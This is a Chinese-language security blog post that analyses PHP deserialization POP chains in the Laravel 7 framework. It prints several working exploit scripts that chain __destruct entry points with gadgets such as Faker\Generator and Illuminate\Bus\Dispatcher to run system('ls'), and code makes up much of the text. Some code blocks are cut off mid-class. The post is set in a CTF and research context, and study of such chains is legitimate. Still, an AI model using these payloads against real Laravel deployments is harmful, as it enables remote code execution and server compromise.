0x00 前言
晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。
0x01 切入点
网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:
https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95
文章提供了一个切入点,即
Illuminate\Broadcasting\PendingBroadcast::__destruct
关键位置代码如下:
public function __destruct()
{
$this->events->dispatch($this->event);
}
我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。
这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:
· 1.通过dispatch + 可控$this->events 触发__call方法
· 2.通过同名方法进行攻击
0x02 利用__call魔法方法
尝试搜寻一番__call魔法方法,发现一个切入点:
Faker\Generator::__call
关键代码如下:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进类内方法format:
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
.......
显然我们可以使用数组进行bypass,例如:
$formatters['dispatch'] = xxx
如此一来即可任意RCE,我们编写exp:
formatters = $formatters;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event, $events)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace{
$a = new Faker\Generator(array('dispatch' => 'system'));
$b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);
echo urlencode(serialize($b));
}
?>
0x03 利用同名函数
全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。
我们跟进其dispatch函数:
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟进dispatchToQueue函数:
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
.......
}
不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。
那么只要通过如下限制即可:
if ($this->queueResolver && $this->commandShouldBeQueued($command))
我们跟进commandShouldBeQueued:
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
发现只要是继承ShouldQueue接口的类皆可。
这里随便搜一下,发现5个类均可用,编写exp如下:
events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver="")
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Events{
class CallQueuedListener
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Notifications{
class SendQueuedNotifications
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Queue{
class CallQueuedClosure
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace{
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Events\CallQueuedListener('ls');
// $b = new Illuminate\Broadcasting\BroadcastEvent('ls');
// $b = new Illuminate\Foundation\Console\QueuedCommand('ls');
// $b = new Illuminate\Notifications\SendQueuedNotifications('ls');
// $b = new Illuminate\Queue\CallQueuedClosure('ls');
$c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
echo urlencode(serialize($c));
}
?>
这5个exp异曲同工,均可使用。
0x04 举一反三(1)
那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:
搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration
关键代码如下:
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
跟进类内方法register:
public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
此时我们发现:
$this->registered
$this->registrar
$this->name
$this->controller
$this->options
均为可控点,因此我们又有2条路可走:
· 1.使用__call魔法方法构造pop chain
· 2.寻找register同名函数构造pop chain
对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:
formatters = $formatters;
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace{
$a = new Faker\Generator(array('register' => 'call_user_func'));
$b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');
echo urlencode(serialize($b));
}
?>
同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。
0x05 举一反三(2)
继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:
关键代码:
public function __destruct()
{
$this->parent->addCollection($this->route);
}
此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:
formatters = $formatters;
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace{
$a = new Faker\Generator(array('addCollection' => 'system'));
$b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');
echo urlencode(serialize($b));
}
?>
0X06 后记
对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:
· 1.__destruct内直接调用的函数存在风险
· 2.__destruct内调用方法的对象可控
· 2.1 同名方法
· 2.2 __call方法
· 3.拼接组合
· 3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain
· 3.2 call_user_func等函数 参数均可控,随意拼接chain
对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。
最后求求,别再出laravel的题了。
文章评论